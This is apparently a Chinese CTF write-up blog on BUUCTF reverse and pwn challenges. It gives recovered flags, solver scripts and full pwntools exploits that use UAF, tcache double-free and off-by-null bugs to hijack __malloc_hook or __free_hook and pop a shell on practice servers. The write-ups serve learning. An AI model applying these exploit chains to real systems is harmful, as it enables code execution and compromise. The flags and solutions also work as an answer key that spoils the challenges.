wustctf2020_name_your_dog

数组下标溢出,修改 got 表

mrctf2020_shellcode_revenge

将 shellcode 换个编码,换成用可见字符串组成。

https://blog.csdn.net/weixin_44145820/article/details/105565953

护网杯_2018_gettingstart

普通栈溢出,考点是浮点数在内存中怎么用 16 进制表示

浮点数16进制在线转换网站:http://www.binaryconvert.com/result_double.html?decimal=048046049

ciscn_2019_en_3

_printf_chk会检测%N$,换个思路泄露寄存器中的 libc 地址

还有注意 buu 上 ubuntu18 绝大部分的环境是旧 glibc 没有 tcache double free 保护

reverse1

1. PE文件分析

用的是 Exeinfo PE 这个软件,吾爱上有分享,爱盘也有收录。

这一步有点类似 pwn 查看程序的版本、保护情况:

64 位的程序。

2. 运行程序获取信息

题目最好在 命令行 中运行,避免运行结束前的提示字符没来得及看就关闭了。

3. x64dbg 打开

也可以用 OD 打开,因为OllyDbg 官方中文,我用这个入门吧。

用字符串定位程序关键位置,直接点面板的字符串,查找结果不全面的,需要在代码处右键选查找全部模块字符串:

然后操作逻辑就相当于 IDA 的了。

这里我是硬读汇编判断,将输入值与 {hell0_w0rld} 对比的,0x00007FF7F26F197E 明显调用 strcmp 用于比较。一开始以为是 {hello_world} ,发现还有一部分汇编将 o 换成 0

reverse2

1. 文件分析

64 位二进制文件

2. IDA 静态分析

flag 在程序中,最后结果需要进行替换处理,替换逻辑:将 i r 替换为 1

内涵软件

IDA 打开即可

helloworld

android killer 打开即可

xor

64 位程序;IDA 打开,里面大概逻辑是将输入的 33 字节数据进行一个加密,加密逻辑:当前字符密文等于前一个字符与当前字符的异或。

写一下脚本即可,这道题目重点是写到了 IDA 提取数据:shite+E

1
2
3
4
5
6
ida_chars =[0x66, 0x0A, 0x6B, 0x0C, 0x77, 0x26, 0x4F, 0x2E, 0x40, 0x11, 0x78, 0x0D, 0x5A, 0x3B, 0x55, 0x11, 0x70, 0x19, 0x46, 0x1F,0x76, 0x22, 0x4D, 0x23, 0x44, 0x0E, 0x67, 0x06, 0x68, 0x0F, 0x47, 0x32, 0x4F, 0x00]
flag = ida_chars
for i in list(range(0,33))[::-1]:
flag[i]^=flag[i-1]
for i in flag:
print(chr(i),end='')

reverse3

Exeinfo PE 查出来是 32 位程序,运行一下了解一下程序流程。OD 之类工具不太会用,用 IDA 静态分析一下。

主要加密流程都是在 main 函数里面了,具体看图都全部都注释了:

第一层加密根据中间用到一个字符串,推测出来应该是标准密码表的 base64 加密:

第二层加密就是每个字符加 下标 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : MrSkYe
# @Email : [email protected]
# @File : reverse3.py
import base64
ida_chars=[0x65, 0x33, 0x6E, 0x69, 0x66, 0x49, 0x48, 0x39, 0x62, 0x5F, 0x43, 0x40, 0x6E, 0x40, 0x64, 0x48]
flag = ''
for i in range(0,len(ida_chars)):
ida_chars[i] -= i
print(ida_chars)

for i in ida_chars:
flag += chr(i)

print("flag"+base64.b64decode(flag).decode('utf-8'))

[V&N2020 公开赛]easyTHeap

基本情况

保护全开

1
2
3
4
5
6
[*] '/ctf/work/vn_pwn_easyTHeap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

基本堆管理器,有增删查改功能。用 chunk_ptr_list 和 chunk_size_list 两个链表维护堆,堆数量实际上不由两个全局变量控制,而是受限于 chunk_ptr_list 是否有空位写入。全部功能操作都是基于下标去两个链表寻找对应地址操作的。

漏洞

在释放的时候没有将 chunk_ptr_list 对应位置置零,造成 UAF :

1
2
3
4
if ( v1 < 0 || v1 > 6 || !chunk_ptr_list[v1] )
exit(0);
free((void *)chunk_ptr_list[v1]);
chunk_size_list[v1] = 0; // chunk_ptr_list 没有置零

注意一点是 chunk_size_list 对应位置被置零了,也就是不能使用 edit 功能写入:

1
2
printf("content:");
read(0, (void *)chunk_ptr_list[v1], (unsigned int)chunk_size_list[v1]);

思路

  1. 泄露堆地址,计算出 tcache struct 地址
  2. 修改结构体中对应 size 的数量标志位,将堆释放进 unsorted bin 泄露出 libc 地址
  3. 将 tcache 相关数量标志位恢复,将链头地址修改为 malloc_hook ,后面就是常规操作

为记笔记方便,下面所有地址均不是同一运行调试所得 Orz

当程序释放第一个堆进 tcache 时会申请一块 0x240 的空间放 tcache struct ,里面记录各个 size 的数量和链头地址。

1
2
3
4
5
6
7
Allocated chunk | PREV_INUSE
Addr: 0x5555564b5000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x5555564b5250
Size: 0x91

然后连续两次释放 chunk0 ,chunk0 fd 指针就会记录自己的地址。(tcache bin 中不会崩):

1
2
3
pwndbg> bin
tcachebins
0x90 [ 2]: 0x55555656b260 ◂— 0x55555656b260

用程序查询功能泄露地址,其与 tcache struct 偏移固定的。

再申请相同 size 的堆,分配的是 chunk0 所在的空间,通过 edit 将 chunk0 fd 覆盖为 tcache struct ,两次分配后将堆分配到结构体上面。

顺便 gdb 记一下结构体内容,因为需要对应修改某个地址的值,达到修改某个 size 对应的链表。当申请的 size 时,需要修改的位置也会不一样。

image-20201019011117803

这里将 0x01 修改为 0x07 (MAX_NUM) ,到达上限后再释放一个堆就开始放入 unsorted bin 。释放 chunk0 ,show 泄露 libc 地址。

完事后,edit chunk3 将结构体 0x07 恢复为 0x01 ,链首地址修改为 malloc_hook 地址,形成这样的效果:

1
2
3
4
# tcache bin 0x90 这条链表中只有 1 个堆,地址为 malloc_hook
pwndbg> bin
tcachebins
0x90 [ 1]: [malloc_hook地址] ……

这样下次分配就会分配到 malloc_hook 。实测后这个题目需要结合 realloc 调整栈帧环境,让 onegadget 生效。

EXP

下面这个脚本是成功攻击远程的,与前面原理一样,只是做题的时候在 docker 环境做 main_arean 的偏移算出来和远程的 18 不相同。。。

这里就直接将 tcache 全部链表数量都改了,然后将 malloc_hook-8 放到任意链首,然后申请对应大小的 chunk 就能分配到 malloc_hook 上了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context(log_level='debug',arch='amd64',
terminal=['tmux','sp','-h'])

# p = process(["/glibc/2.27/64/lib/ld-2.27.so", "./vn_pwn_easyTHeap"], env={"LD_PRELOAD":"/glibc/2.27/64/lib/libc.so.6"})
# libc = ELF("/glibc/2.27/64/lib/libc.so.6")
elf = ELF("./vn_pwn_easyTHeap")
p = remote("node3.buuoj.cn",28954)
libc = ELF("./libc-2.27.so")

def new(size):
p.recvuntil(": ")
p.sendline("1")
p.recvuntil("?")
p.sendline(str(size))
def edit(id,content):
p.recvuntil(": ")
p.sendline("2")
p.recvuntil("?")
p.sendline(str(id))
p.recvuntil(":")
p.send(content)
def show(id):
p.recvuntil(": ")
p.sendline("3")
p.recvuntil("?")
p.sendline(str(id))
def delete(id):
p.recvuntil(": ")
p.sendline("4")
p.recvuntil("?")
p.sendline(str(id))

new(0x50) #0
delete(0)
delete(0)
show(0)
heap_base = u64(p.recvuntil(b'\n', drop = True).ljust(8, b'\x00'))

new(0x50) #1 -> chunk0
edit(1, p64(heap_base - 0x250))
new(0x50) #2 -> chunk0
new(0x50) #3 -> tcache struct
edit(3, 'a'*0x24)

delete(3)
show(3)
libc_base = u64(p.recvuntil(b'\n', drop = True).ljust(8, b'\x00')) - 0x3ebca0#0x3afca0
log.info("libc_base:"+hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
log.info("malloc_hook:"+hex(malloc_hook))
realloc = libc_base + libc.sym['__libc_realloc']
log.info(hex(realloc))
one = libc_base + 0x4f322
new(0x100)#4 -> tcache struct
edit(4, b'b' * 0x60 + p64(malloc_hook - 8))
# gdb.attach(p)
new(0x50)
edit(5, p64(one) + p64(realloc+8))
new(0x10)
p.interactive()

ciscn_final_3

基本情况

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

C++程序。只有两个功能,新建、释放堆块。数量上限为:24,大小限制为:0x78 。用列表维护,释放操作基于下标定位指针。

新建完成后会输出堆 fd 内存地址。

漏洞

free 没指令指针,造成 UAF :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 my_free()
{
__int64 v0; // rax
unsigned int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
std::istream::operator>>((__int64)&std::cin, (__int64)&v2);
if ( v2 > 24 )
exit(0);
free((void *)chunk_ptr_list[v2]); // UAF
return __readfsqword(0x28u) ^ v3;
}

思路

刚刚做完[V&N2020 公开赛]easyTHeap利用 tcache 部分基本相同。这道题 chunk 数量上限挺高的,可以通过 free 7 个 chunk 占满空间,可以不需要劫持 tcache 结构体数量标志位。

  1. double free ,劫持 tcache bin 的 chunk0 fd 到 tcache struct 上
  2. 修改 struct 中数量标志位;修改 bin 链头的地址为 chunk0-0x10 ,后面修改 chunk0 size 为 unsorted bin 大小,用来泄露地址;多写几个链头为 chunk0 fd ,后面分配到 main_area 上输出地址
  3. 再次劫持 tcache struct ,改一个链头 free_hook

获取 chunk0 后面用来计算各个地址:

1
2
3
4
5
6
add(0,0x50,'a'*8)#0

p.recvuntil("gift :")
chunk0_addr = int(p.recv(14),16)
log.info("chunk0_addr:"+hex(chunk0_addr))
tcache_struct = chunk0_addr - 0x11e60

double free ,写 tcache bin 0x60 链表写入结构体地址;再次申请成功分配到结构体上,劫持结构体数量以及链头地址:

1
2
3
4
5
free(0)
free(0)
add(1,0x50,p64(tcache_struct))#0
add(2,0x50,p64(tcache_struct))#0
add(3,0x58,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(chunk0_addr)*2+p64(chunk0_addr-0x10))
  • 劫持链头要一个 chunk0_addr-0x10 用来修改 size ,另外一个 chunk0_addr 用来分配到 main_area 上泄露地址。
  • 那个 \x00 是 0x70 的位置,这里不覆盖用来再次 tcache bin doublue free 再次劫持结构体。

做 chunk0 释放到 unsorted bin 绕过,nextchunk inuse 位设置为 1 ,再申请一个防止与 topchunk 合并:

1
2
3
4
5
6
7
add(4,0x38,p64(0)+p64(0x101))#orw chunk0 size
add(5,0x40,'b'*8)# chunk0 free unsortbin 绕过检查 nextchunk inuse 检查,需要为1
add(6,0x40,'c'*8)# 同上
add(7,0x50,p64(0xdeadbeef))# 防止合并topchunk
free(0)
add(8,0x28,p64(0xdeadbeef))# chunk0
add(9,0x28,p64(chunk0_addr+0x150))# create on main_area

再次劫持 tcache 结构体将堆分配到 free_hook 上:

1
2
3
4
5
6
add(10,0x60,'a')
free(10)
free(10)
add(11,0x60,p64(tcache_struct))#10
add(12,0x60,p64(tcache_struct))#10
add(13,0x60,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(free_hook)*4)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : MrSkYe
# @Email : [email protected]
from pwn import *
context(log_level='debug',os='linux',arch='amd64',
terminal=['tmux','sp','-h'])

# p = process("./ciscn_final_3")
elf = ELF("./ciscn_final_3")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = remote("node3.buuoj.cn",27718)
libc = ELF("./libc.so.6")

def add(id,size,content):
p.recvuntil("> ")
p.sendline('1')
p.recvuntil("index\n")
p.sendline(str(id))
p.recvuntil("size\n")
p.sendline(str(size))
p.recvuntil("thing\n")
p.send(content)
def free(id):
p.recvuntil("> ")
p.sendline('2')
p.recvuntil("index\n")
p.sendline(str(id))

add(0,0x50,'a'*8)#0

p.recvuntil("gift :")
chunk0_addr = int(p.recv(14),16)
log.info("chunk0_addr:"+hex(chunk0_addr))
tcache_struct = chunk0_addr - 0x11e60

free(0)
free(0)
add(1,0x50,p64(tcache_struct))#0
add(2,0x50,p64(tcache_struct))#0
add(3,0x58,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(chunk0_addr)*2+p64(chunk0_addr-0x10))

add(4,0x38,p64(0)+p64(0x101))#orw chunk0 size
add(5,0x40,'b'*8)# chunk0 free unsortbin 绕过检查 nextchunk inuse 检查,需要为1
add(6,0x40,'c'*8)# 同上
add(7,0x50,p64(0xdeadbeef))# 防止合并topchunk

free(0)
add(8,0x28,p64(0xdeadbeef))# chunk0
add(9,0x28,p64(chunk0_addr+0x150))# create on main_area

p.recvuntil("gift :")
main_area = int(p.recv(14),16)
log.info("main_area:"+hex(main_area))
libc_base = main_area - 0x3ebca0
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
log.info("system:"+hex(system))
# gdb.attach(p)
# 再次劫持tcache struct
add(10,0x60,'a')
free(10)
free(10)
add(11,0x60,p64(tcache_struct))#10
add(12,0x60,p64(tcache_struct))#10
add(13,0x60,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(free_hook)*4)

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# free_hook 写入 onegadget
onegadget = libc_base + 0x4f322#0x4f3c2
add(14,0x40,p64(onegadget))

free(10)

p.interactive()

ciscn_2019_es_1

基本情况

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

简单堆管理程序,有增删查功能。chunk 上限为 12 个,有 0x18 的结构体,又通过链表管理结构体。结构体如下:

1
2
3
4
5
6
struct
{
void **chunk_ptr;//8bit
size_t size;//4bit
int number;//(12-1)bit
}

漏洞

在 free 中,只是单单释放 data chunk ,结构体 chunk 以及对应链表都完整保留,释放 data chunk 时,没有将结构体中对应位置置零,造成 UAF 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 call()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Please input the index:");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 && v1 > 12 )
exit(0);
if ( heap_addr[v1] )
free(*heap_addr[v1]); // UAF
puts("You try it!");
puts("Done");
return __readfsqword(0x28u) ^ v2;
}

思路

  1. double free 泄露堆地址,劫持 tcache struct ,控制链头分配到 chunk0 size
  2. free chunk0 到 unsorted bin 泄露 libc 地址
  3. 劫持 free_hook 为 onegadget

tcache 常规的 double free 泄露地址:

1
2
3
4
5
6
7
add(0x60,'a'*8,'b'*0xc)#0
free(0)
free(0)
show(0)

p.recvuntil("name:\n")
chunk_addr = u64(p.recv(6).ljust(8,'\x00'))

修改 tcache bin 中的数量以及链头地址:

1
2
3
add(0x60,p64(tcache_addr),'f'*8)#1
add(0x60,p64(tcache_addr),'e'*8)#2
add(0x60,('\x00'+'a'*5+'\x00').ljust(0x40,'a')+p64(tcache_addr)*3+p64(tcache_addr-0x10),'c'*0x4+p64(chunk_addr+0x70))#3
  • tcahce_addr 方便再次申请 chunk0
  • tcache_addr - 0x10 用来修改 chunk0 的 size
  • 劫持数量标志位保留一个,后面用来 double free

释放 chunk0 获取 libc 地址:

1
2
3
4
5
free(3)
show(3)

p.recvuntil("name:\n")
main_area = u64(p.recv(6).ljust(8,'\x00'))

再次 double free tcache 将 chunk 分配到 free_hook 上:

1
2
3
4
5
6
add(0x48,'\x00'*0x48,'b')
free(0)
free(0)
add(0x60,p64(free_hook),'b'*8)#1
add(0x60,p64(free_hook),'b'*8)#2
add(0x60,p64(onegadget),'b'*8)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context(log_level='info',os='linux',arch='amd64',
terminal=['tmux','sp','-h'])

# p = process("./ciscn_2019_es_1")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./ciscn_2019_es_1")
p = remote("node3.buuoj.cn",27240)
libc = ELF("./libc-2.27.so")

def add(size,name,number):
p.recvuntil(":")
p.sendline('1')
p.recvuntil("name\n")
p.sendline(str(size))
p.recvuntil(":\n")
p.send(name)
p.recvuntil("call:\n")
p.send(number)
def show(id):
p.recvuntil(":")
p.sendline('2')
p.recvuntil("index:\n")
p.sendline(str(id))
def free(id):
p.recvuntil(":")
p.sendline('3')
p.recvuntil("index:\n")
p.sendline(str(id))

add(0x60,'a'*8,'b'*0xc)#0
free(0)
free(0)
show(0)

p.recvuntil("name:\n")
chunk_addr = u64(p.recv(6).ljust(8,'\x00'))
tcache_addr = chunk_addr - 0x270
log.info("tcache_addr:"+hex(tcache_addr))

add(0x60,p64(tcache_addr),'f'*8)#1
add(0x60,p64(tcache_addr),'e'*8)#2
add(0x60,('\x00'+'a'*5+'\x00').ljust(0x40,'a')+p64(tcache_addr)*3+p64(tcache_addr-0x10),'c'*0x4+p64(chunk_addr+0x70))#3
# add(0x80,'a','b')
free(3)
show(3)

p.recvuntil("name:\n")
main_area = u64(p.recv(6).ljust(8,'\x00'))
libc_base = main_area - 0x3ebca0
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
log.info("free_hook:"+hex(free_hook))
log.info("malloc_hook:"+hex(malloc_hook))

one = [0x4f365,0x4f3c2,0x10a45c]
onegadget = libc_base + 0x4f322#one[1]
log.info("onegadget:"+hex(onegadget))

add(0x48,'\x00'*0x48,'b')
free(0)
free(0)
add(0x60,p64(free_hook),'b'*8)#1
add(0x60,p64(free_hook),'b'*8)#2
add(0x60,p64(onegadget),'b'*8)
# gdb.attach(p)

free(0)

p.interactive()

HITCON_2018_children_tcache

tcache 结合 off by null

基本情况

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
FORTIFY:  Enabled

基本堆管理器,有增删查功能。用 chunk_ptr_list 和 chunk_size_list 两个链表维护,数量上限为 12 ,使用的不是只递增的下标,而是哪个下标没有使用就用哪个,即只能同时存在 12 个。

漏洞

写入堆数据时,调用函数先写入到 tmp 局部变量,然后通过 strcpy 写入到堆上。写入函数本身没有问题,写入长度为 size ,将最后一字节替换为结束符。

问题出在使用 strcpy :

strcpy 字符串复制函数。复制时,遇到结束符 \x00 才会停止复制。复制结束后,会在最后写入一个结束符 \x00

缓冲区的长度为 size ,chunk 空间为 size ,strcpy 写入 size 后,会再次写入 \x00 ,造成 off by null :

1
2
write_chunk((__int64)&tmp, size);
strcpy(ptr, &tmp);

思路

off by null 想到堆重叠(overlapping),和 16 区别主要是申请的 unsorted bin 大小需要大于 0x408 来避免 chunk 放入 tcache 。

溢出修改 inuse 位比较简单,申请使用下一个 chunk prev_size 的堆直接写满就行,就是 prev_size 怎么写需要想一下办法。因为 free chunk 之前会使用 memset 往堆里填充 size 个 0xda 。

  1. 布置 4 个堆,先释放 chunk0 做好向前 unlink 准备。
  2. 通过写 chunk1 实现:溢出修改 chunk2 inuse ,还原 chunk2 prev_size ,伪造 chunk2 prev_size
  3. tcache bin double free 劫持 __free_hook 为 onegadget

整体堆分布和 16 的一样:

1
2
3
4
chunk0 unsorted bin
chunk1
chunk2 unsorted bin
chunk3 protect

chunk0 2 需要大于 0x408 能直接放入 unsorted bin 。chunk2 最低字节需要为 0x01 ,绕过 unlink 检查 next chunk inuse 位。

然后先把 chunk0 给释放了,后面在释放也可以

1
2
3
4
5
6
add(0x410,'s')
add(0xe8,'k')
add(0x4f0,'y')
add(0x60,'e')

free(0)

溢出修改 inuse 就直接写满堆就行了:释放 chunk1 ,再次申请并写满。

free 的 memset 写入的字节长度是 chunk_size ,也就是申请多少,free 填充多少,但是 malloc 并不是这样,malloc 会自动对齐。举个例子:

1
2
3
size=0xe8 -> chunk_size=0xf0
size=0xe7 -> chunk_size=0xf0
size=0xe6 -> chunk_size=0xf0

结合以上特点,利用 off by null 逐步将溢出 inuse 时被填充为 0xdadadadadadadada 的 prev_size 还原回来(恢复 prev_size 高 5 字节就行了)

溢出修改 inuse :

image-20201024003012232

恢复最高字节:

1
2
free(0)
add(0xe7,'k'*0xe7)

以此类推写成循环即可:

1
2
3
4
5
free(1)
for i in range(0,6):
add(0xe8-i,'k'*(0xe8-i))
free(0)
add(0xe8,'k'*0xe0+p64(0x510))

构造完成利用条件,后面是常规 unsortbin 泄露:

1
2
3
4
5
free(2)
add(0x410,'leak libc')
show(0)

leak_addr = u64(p.recv(6).ljust(8,'\x00'))

最后 getshell 利用 tcache double free 将堆分配到 free_hook 。虽然程序没有 UAF ,但是前面 unsortbin 利用完还有一大块堆在 bin 中,刚好堆头在 chunk1 (用来泄露地址那个堆),本身已经有一个指针了,然后再申请一个相同大小的堆就有第二个指针了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(0x60,'getshell')
free(0)
free(2)

add(0x60,p64(free_hook))
add(0x60,p64(free_hook))
onegadget = libc_base + 0x4f322#0x4f3c2
log.info("onegadget:"+hex(onegadget))
log.info("free_hook"+hex(free_hook))
add(0x60,p64(onegadget))

# gdb.attach(p,"b *$rebase(0x202060)")

free(0)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context(log_level='debug',arch='amd64',
terminal=['tmux','sp','-h'])

# p = process("./HITCON_2018_children_tcache")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./HITCON_2018_children_tcache")
p = remote("node3.buuoj.cn",28300)
libc = ELF("./libc-2.27.so")

def add(size, content):
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data:")
p.send(content)

def free(index):
p.recvuntil("Your choice: ")
p.sendline('3')
p.recvuntil("Index:")
p.sendline(str(index))

def show(index):
p.recvuntil("Your choice: ")
p.sendline('2')
p.recvuntil("Index:")
p.sendline(str(index))

add(0x410,'s')
add(0xe8,'k')
add(0x4f0,'y')
add(0x60,'e')

free(0)

free(1)
for i in range(0,6):
add(0xe8-i,'k'*(0xe8-i))
free(0)
add(0xe8,'k'*0xe0+p64(0x510))

free(2)
add(0x410,'leak libc')
show(0)

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr -0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']

add(0x60,'getshell')
free(0)
free(2)

add(0x60,p64(free_hook))
add(0x60,p64(free_hook))
onegadget = libc_base + 0x4f322#0x4f3c2
log.info("onegadget:"+hex(onegadget))
log.info("free_hook"+hex(free_hook))
add(0x60,p64(onegadget))

# gdb.attach(p,"b *$rebase(0x202060)")

free(0)

p.interactive()